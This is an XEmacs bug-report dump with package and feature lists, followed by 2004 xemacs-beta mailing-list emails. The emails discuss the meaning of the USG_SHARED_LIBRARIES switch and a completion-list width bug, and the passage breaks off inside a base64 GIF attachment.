(ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (Sun ver: 1.15 upstream: No-Upstream-Ver) (skk ver: 1.23 upstream: regular) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (lookup ver: 1.14 upstream: 1.0) (locale ver: 1.21 upstream: No-Upstream-Ver) (leim ver: 1.22 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) (egg-its ver: 1.27 upstream: No-Upstream-Ver) (edict ver: 1.16 upstream: 0.9.9) Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 symbol-syntax tags etags semantic-c cc-mode cc-fonts cc-menus cc-cmds cc-styles cc-align cc-engine cc-vars cc-defs regexp-opt hyper-apropos lazy-lock eldoc semantic-el info ecb-layout-defs cus-edit cus-load ecb edmacro ecb-winman-support ecb-autogen autoload ecb-tod ecb-cycle ecb-eshell ecb-help ecb-jde efc ecb-method-browser ecb-file-browser ecb-layout compile ecb-create-layout ecb-compilation ecb-speedbar ecb-semantic-wrapper ecb-navigate ecb-mode-line ecb-face tree-buffer overlay semantic-ia-sb semantic-analyze semantic-cb eieio-speedbar eieio-custom wid-edit semantic-sb speedbar sb-image dframe ecb-upgrade ecb-util shell comint paren blink-paren gnuserv scroll-in-place func-menu font-lock filladapt crypt crypt++ view-less view default-dir efs-cu efs-x19.15 efs-fnh efs-ovwrt efs-auto dired-faces dired-xemacs dired pending-del completion completer rsz-minibuf semantic-load semanticdb eieio-base eieio senator semantic-imenu advice advice-preload imenu semantic-ctxt semantic-util-modes timer cus-face semantic-util semantic working assoc vc ring vc-hooks edebug zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads Sun-autoloads skk-autoloads mule-ucs-autoloads mule-base-autoloads lookup-autoloads locale-autoloads leim-autoloads latin-unity-autoloads egg-its-autoloads edict-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp postgresqlv7 postgresql file-coding mule mswindows-scrollbars mswindows lucid-scrollbars cut-buffer lucid-menubars motif-dialogs x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses menu-accelerator-support menubar berkeley-db md5 xemacs xim gutter tiff png gif jpeg xface xpm xbm lisp-float-type cygwin32 dialog devices window-system base64) Recent keystrokes: ----------------- down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down down up up up up up up up up C-SPC down down down down down down down down C-insert misc-user e m a c s . c RET misc-user Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Note: file is write protected paths.h.in: [################################################################################################] ... done (New file) paths.h: [###########################################################################################################] ... done Note: file is write protected emacs.c: [###################################################################################################] ... done No entries containing display_use Loading symbol-syntax...done Loading symbol-syntax... Adding h:/HOME/Superbiskit/Build/xemacs/r21-5-16-Cygwin-1/TAGS to tags completion table...done Adding h:/HOME/Superbiskit/Build/xemacs/r21-5-16-Cygwin-1/TAGS to tags completion table... Build tag completion table for h:/HOME/Superbiskit/Build/xemacs/r21-5-16-Cygwin-1/TAGS? (y or n) Yes Build tag completion table for h:/HOME/Superbiskit/Build/xemacs/r21-5-16-Cygwin-1/TAGS? (y or n) Loading etags...done Loading etags... Note: file is write protected ad-handle-definition: `widen' got redefined ad-handle-definition: `narrow-to-region' got redefined From xemacs-beta-admin@xemacs.org Fri Apr 23 17:28:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NLS2s06324; Fri, 23 Apr 2004 17:28:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NLRqZ06156 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 17:27:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NLRpk06135 for turnbull@tux.org; Fri, 23 Apr 2004 17:27:51 -0400 Received: from manatee.mojam.com (manatee.mojam.com [199.249.165.175]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NLRms06080 for ; Fri, 23 Apr 2004 17:27:48 -0400 Received: from montanaro.dyndns.org (c-24-12-188-128.client.comcast.net [24.12.188.128]) by manatee.mojam.com (8.12.1-20030917/8.12.1) with ESMTP id i3NLRcNm012852; Fri, 23 Apr 2004 16:27:38 -0500 Received: from montanaro.dyndns.org (localhost [127.0.0.1]) by montanaro.dyndns.org (8.12.9/8.12.6) with ESMTP id i3NLRagY026213; Fri, 23 Apr 2004 16:27:36 -0500 (CDT) Received: by montanaro.dyndns.org (8.12.9/8.12.2/Submit) id i3NLRaib026210; Fri, 23 Apr 2004 16:27:36 -0500 (CDT) From: Skip Montanaro MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16521.35400.13298.36138@montanaro.dyndns.org> Date: Fri, 23 Apr 2004 16:27:36 -0500 To: Superbiskit Cc: XEmacs Beta Subject: Re: [Bug: 21.4.15] [DUBIOUS] switch in emacs.c In-Reply-To: <7wsmeumm95.fsf@cox.net> References: <7wsmeumm95.fsf@cox.net> X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040418) XEmacs Lucid Reply-To: skip@pobox.com X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >> Prowling around in emacs.c trying to sort out why display_use is >> forked in my installation (but not Volker's), I come across the >> following --- >> #ifdef USG_SHARED_LIBRARIES >> /* If nonzero, this is the place to put the end of the writable segment >> at startup. */ >> uintptr_t bss_end = 0; >> #endif >> Now, when I've had to play around with configure scripts, these >> switches are usually named USE_THIS_OPTION, not USG_THIS_OPTION. I believe "USG" refers to a Unix dialect (System V basically). It's not a misspelling of "USE". -- Skip Montanaro Got gigs? http://www.musi-cal.com/submit.html Got spam? http://www.spambayes.org/ skip@pobox.com From xemacs-beta-admin@xemacs.org Fri Apr 23 18:30:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NMU3s03443; Fri, 23 Apr 2004 18:30:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NMTRA02840 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 18:29:27 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NMTQV02821 for turnbull@tux.org; Fri, 23 Apr 2004 18:29:26 -0400 Received: from ns1.logassist.net ([212.234.133.65]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NMTOs02794 for ; Fri, 23 Apr 2004 18:29:25 -0400 To: xemacs-beta@xemacs.org Subject: List Manager response From: ventes-request@immobis.com Reply-To: ventes-request@immobis.com Precedence: bulk Date: Sat, 24 Apr 2004 00:33:04 +0200 Message-ID: <20040423223304734.AAA4608@ns1.logassist.net> MIME-Version: 1.0 Content-Type: text/plain X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>> This is a multi-part message in MIME format. **** Command 'this' not recognized. **** No valid commands found. **** Commands must be in message BODY, not in HEADER. **** Help for ventes-request@immobis.com: Introduction to the List Manager -------------------------------- This is the Mailing List Manager for Post.Office version v3.5.3. The interface is similar to Brent Chapman's "Majordomo". How to Access the List Manager ------------------------------ You can interact with the List Manager by sending commands in the body of an E-mail message addressed to "ventes-request@immobis.com". (Important Note: Commands in the "Subject:" line are NOT processed.) Available List Manager Commands ------------------------------- The Post.Office Mailing List Manager understands the following commands: (Note: In the descriptions below items contained in []'s are optional. When providing the item, do not include the []'s around it.) subscribe [
] Subscribe yourself (or
if specified) to the named . unsubscribe [
] Unsubscribe yourself (or
if specified) from the named . which Find out which lists you are on. who Find out who is on the named . info Retrieve the general introductory information for the named . lists Show the lists served by this List Manager server. help Retrieve this message. end Stop processing commands (useful if your mailer adds a signature). From xemacs-beta-admin@xemacs.org Fri Apr 23 19:42:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NNg2s03909; Fri, 23 Apr 2004 19:42:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NNfZG03542 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 19:41:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NNfYf03523 for turnbull@tux.org; Fri, 23 Apr 2004 19:41:34 -0400 Received: from lakermmtao03.cox.net (lakermmtao03.cox.net [68.230.240.36]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NNfYs03512 for ; Fri, 23 Apr 2004 19:41:34 -0400 Received: from cox.net ([68.224.196.240]) by lakermmtao03.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040423234131.NREN22312.lakermmtao03.cox.net@cox.net>; Fri, 23 Apr 2004 19:41:31 -0400 Message-ID: <4089A9C3.5070201@cox.net> Date: Fri, 23 Apr 2004 19:41:55 -0400 From: "David A. Cobb" User-Agent: Mozilla Thunderbird 0.6+ (Windows/20040418) X-Accept-Language: en-us, en MIME-Version: 1.0 To: skip@pobox.com CC: XEmacs Beta Subject: Re: [Bug: 21.4.15] [DUBIOUS] switch in emacs.c References: <7wsmeumm95.fsf@cox.net> <16521.35400.13298.36138@montanaro.dyndns.org> In-Reply-To: <16521.35400.13298.36138@montanaro.dyndns.org> Content-Type: multipart/mixed; boundary="------------050200050704050506000803" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format. --------------050200050704050506000803 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Skip Montanaro wrote: >I believe "USG" refers to a Unix dialect (System V basically). It's not a >misspelling of "USE". > > Ahh. Oh, well, pressing onward. -- David A. Cobb, Software Engineer, Public Access Advocate "By God's Grace, I am a Christian man; by my actions a great sinner." -- The Way of a Pilgrim: R.French, Tr. Life is too short to tolerate crappy software! --------------050200050704050506000803 Content-Type: text/x-vcard; charset=utf8; name="Superbiskit.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Superbiskit.vcf" begin:vcard fn:David A. Cobb n:Cobb;David A. adr:;;7 Lenox Av #1;West Warwick;RI;02893-3918;USA email;internet:Superbiskit@cox.net title:Independent Software Consultant note:PGP Key ID#0x4C293929 effective 01/28/2004 x-mozilla-html:TRUE version:2.1 end:vcard --------------050200050704050506000803-- From xemacs-beta-admin@xemacs.org Fri Apr 23 19:30:30 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NNU8s25817; Fri, 23 Apr 2004 19:30:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NNTVO25224 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 19:29:31 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NNTUs25203 for turnbull@tux.org; Fri, 23 Apr 2004 19:29:30 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NNTMs25088; Fri, 23 Apr 2004 19:29:22 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BHA6k-0002gB-00; Fri, 23 Apr 2004 19:29:22 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id 91C6B1E081; Fri, 23 Apr 2004 19:30:07 -0400 (EDT) To: Adrian Aichner Cc: Sven Grundmann , xemacs-beta@xemacs.org Subject: Re: [Q21.4] completion list to wide bug fixed References: <3c6ulb24.fsf@smtpmail.t-online.de> From: Vin Shelton Organization: The XEmacs Development Team Date: Fri, 23 Apr 2004 19:30:07 -0400 In-Reply-To: <3c6ulb24.fsf@smtpmail.t-online.de> (Adrian Aichner's message of "Fri, 23 Apr 2004 22:00:03 +0200") Message-ID: Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adrian Aichner writes: > Hi Vin, this is the truncation-glyph. > > Try > M-x toggle-truncate-lines > and observe how you will either see a truncation-glyph at the right > edge of a window with an over-long line, or a continuation-glyph with > the rest of the line continuing on the next line. > Thanks, Adrian. My point is the lines of text are definitely too wide for the window. Sven, it would be great if you could fix this completely. - vin From xemacs-beta-admin@xemacs.org Sat Apr 24 03:38:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3O7c6s14308; Sat, 24 Apr 2004 03:38:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3O7b9513586 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 03:37:09 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3O7b8g13566 for turnbull@tux.org; Sat, 24 Apr 2004 03:37:08 -0400 Received: from mail021.syd.optusnet.com.au (mail021.syd.optusnet.com.au [211.29.132.132]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3O7b5s13527 for ; Sat, 24 Apr 2004 03:37:06 -0400 Received: from optusnet.com.au (c211-30-203-73.rivrw2.nsw.optusnet.com.au [211.30.203.73]) by mail021.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3O7aVH10173; Sat, 24 Apr 2004 17:36:31 +1000 Message-ID: <408A195B.10807@optusnet.com.au> Date: Sat, 24 Apr 2004 17:38:03 +1000 From: "James C. McPherson" Reply-To: james.mcpherson@optusnet.com.au Organization: JJCMA Group User-Agent: Mozilla Thunderbird 0.5 (X11/20040210) X-Accept-Language: en-us, en MIME-Version: 1.0 To: skip@pobox.com CC: Superbiskit , XEmacs Beta Subject: Re: [Bug: 21.4.15] [DUBIOUS] switch in emacs.c References: <7wsmeumm95.fsf@cox.net> <16521.35400.13298.36138@montanaro.dyndns.org> In-Reply-To: <16521.35400.13298.36138@montanaro.dyndns.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Skip Montanaro wrote: > >> Prowling around in emacs.c trying to sort out why display_use is > >> forked in my installation (but not Volker's), I come across the > >> following --- > > >> #ifdef USG_SHARED_LIBRARIES > >> /* If nonzero, this is the place to put the end of the writable segment > >> at startup. */ > > >> uintptr_t bss_end = 0; > >> #endif > > >> Now, when I've had to play around with configure scripts, these > >> switches are usually named USE_THIS_OPTION, not USG_THIS_OPTION. > > I believe "USG" refers to a Unix dialect (System V basically). It's not a > misspelling of "USE". Skip, you are correct. The acronym refers to the Unix Systems Group which was part of what Novell bought from AT&T during the "Unix Wars" James From xemacs-beta-admin@xemacs.org Sat Apr 24 05:42:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3O9g2s16523; Sat, 24 Apr 2004 05:42:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3O9fFf15922 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 05:41:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3O9f7P15795 for turnbull@tux.org; Sat, 24 Apr 2004 05:41:07 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3O9f5s15769 for ; Sat, 24 Apr 2004 05:41:06 -0400 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BHJej-0006Aa-00 for ; Sat, 24 Apr 2004 11:41:05 +0200 Received: from p508d2c9f.dip.t-dialin.net ([80.141.44.159]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 24 Apr 2004 11:41:05 +0200 Received: from sven by p508d2c9f.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 24 Apr 2004 11:41:05 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Q21.4] completion list to wide bug fixed Date: Sat, 24 Apr 2004 11:31:48 +0200 Lines: 314 Message-ID: References: <3c6ulb24.fsf@smtpmail.t-online.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2c9f.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:dfvS/koct6J7KuHEMtassFlERlk= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Hello Vin, my problem is i could not reproduce your behaviour. I saw you started xemacs --vanilla. If i do the same, i get these arrows from the commentary text, but when i set the commentary text to "" or to "x" like you did, the scrollbar and the arrows are gone ! See the attached image. --=-=-= Content-Type: image/gif Content-Disposition: attachment; filename=completion-list.gif Content-Transfer-Encoding: base64 Content-Description: completion list on xemacs --vanilla R0lGODdhAwK2AfcAAAAAAAAAiwAA/wICBAZUFAdZFAhdFApiFAtnFQxrFQ5wFQ90FRB5FhJ+ FhODFhSHFxaMFxeRFxf/DxiVFxqaGBueGBwvLxyjGB6oGR9CHiU/Py9PTzhfX1pabFxcbF5e bGRidGZidGZmZmZmdGpmbGpmbW5qfG5sfG9sfG9tfHBufHFvfHNyhHVzgnZyhHh2hHl1hHl2 hHp2hHp6hHx6iH16iX17iX5+jIJ+jIOCjIWDkIWEkoaCjIaCkIaGlIqGlIuKlIyKlI2KlI6M mI6OnJCQnJKSnJSUn5WTn5eWpJiXo5mZmZqWpJ2apJ6apKCerKGgq6KerKKhrKKirKOhrKSj rKairKamrKemrqqqtKyrtK2rtK6qtK6utLCutrGut7IiIrKuuLKuvLKyvLSyvLW0vLayvLe2 vLi2vLm2vLq2vLq6wLq6xL28xL66xL6+xMC+xMC/xMC/xcK+xMLCyMTEzMbGzMjIzcrKzMrK zsrKz87O1NHP1NHQ1NHR1NPR19TS2NYODNbS3NbW3NfX3Nra3Nzc4N7e5OXl5e7u7PXes/+l AP///wACAGAAAAEAAADYKAACwQAOAwAQdSwY6ACC4QAOIwAQACCIAe7pACIiABKwpABY6GAA IgEQACDYOJICp1IOI9wYAMCCALIOAAA8CAAK6QAOIgCsEQAKPgAOBAAQYQBwAAAlAwARAABh AAAEpAAA6AAAIgAUAQAwAABuAAAAzAB66AACIgCuAAAKAAAOAADuAAA+AABDAACTAAALAACA AAAJAADYAABMTAACAgDIgADpCQAiDgAAEAB8BABHAAAE0ADA2ADpAgABaAAA6QDy8QB/VQB9 AABMEACAkAAJ6ABM0AAC6ACABADPTACaAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAAwK2AQAI/gAlCBxIsKBBCRkOKlzIsKHD hxAjSpxIsaLFixgzatzIsaPHjyA1Jrw40mLJkChTqlzJsqXLlzBjyux4cmKGkRhy6tzJk2fC nkCDCh1KtKjRo0iTKl3KtKnTp1CjSp1KtarVq0p/Mr0psKlWrGDDih1LtqzZs2jTqqX6NStO DDfjyp1Lt67du3jz6t3Lt6/fv4ADCx5MuLDhw4gTK17MuHFeCTm5QoZ7obLly5gtz9zMubPn z6BDy8yQubTp06hTqz49WXLkCrBjy54dWwLt27hz697Nu7fv38CDCx9OvLjx48iTK1/O3HiG 5tB7t36bgYL169izX5egvbv37+DD/osfT768+fPo06tfz769+/fw48tnX32+ffHTu8KdwD+R //8A+sffBBIMaOCBCCao4IIMNjgBIw5GKKGCjECYoIUTZqjhhhx26OGHIIYo4ogkTpjBgAGm mAiCKgbIYov/vQjjivzl11oEOCbigQcglGDCCi7EYAMOJeAYgQRGJqnkkkw26eSTT1YoJZRU OlkhlFcqKWWWVXbp5ZdghinmmGSWaeaZaKZZZQZGJhLImyGkkIILL7xJwpI68ggCCii0IEMN ROK5IwgDFDoADDTgcKeSiXTwAQgjmKACCzIkuuiRkVEHwaaJ9PhjkDjo8IMQJWwKgQSmpqrq qqy26uqr/rBKCeusr1YYKyOsykrrrrz26uuvwAYr7LDEFmvssbxmYGoiIbwZCJ03vPkDCat2 WgKfMshwww4/BFGqqp2ScMIAh/wxQA4+CEEtuIQa6i4Q656aqX4ZPGBvIkAKGeqoRRRRgr0P SADwwANvCXCFDyAsZcELM8yIww8fHLHECU9ssMMUI1yxxltarHHFG9ur8MQEl2zyySinrPLK LLfs8sswxyzzzDTXbLPM9d6bgrM3/NDDm0yQUHIifWq7bbdEIPEvwYmcAAMMA/yhxwBCHHGE 0EybMIAfdrDRhRRJDJAE1gHP25oDaCeirw5C9KsEFFCUgLYDEsxt99wVop23/gNS8p333oAz gveWev8teOF3J+634HsvHnjfgSM+eN+LV6745ZhnrvnmnHfu+eeghy766KSXbvrpnWcwdyIu zODsEEA/QULiibhr+wBy350IojcMEIcbAxzhRBSz6y7DAF1/nQQQA0hRPN1mR9bA9InooIPb b1thBRYlTN+ABN6H732F05PfgPnoMyL++eqzP3757a8v//rmh19/+/WLn/748ePff/zzC6AA B0jAAhrwgAhMoAIXyMAGOvCBEFxgBryXiB704AdAe9MVuECC9dXuEH2QQxq2QAUk7AB3HkSX EAawhjEMoApV0EIHxZcIHgzAa2ADAg0GkIUZfi96/nBhgBATgT24YcELZShDCYTIAAkw8YlM 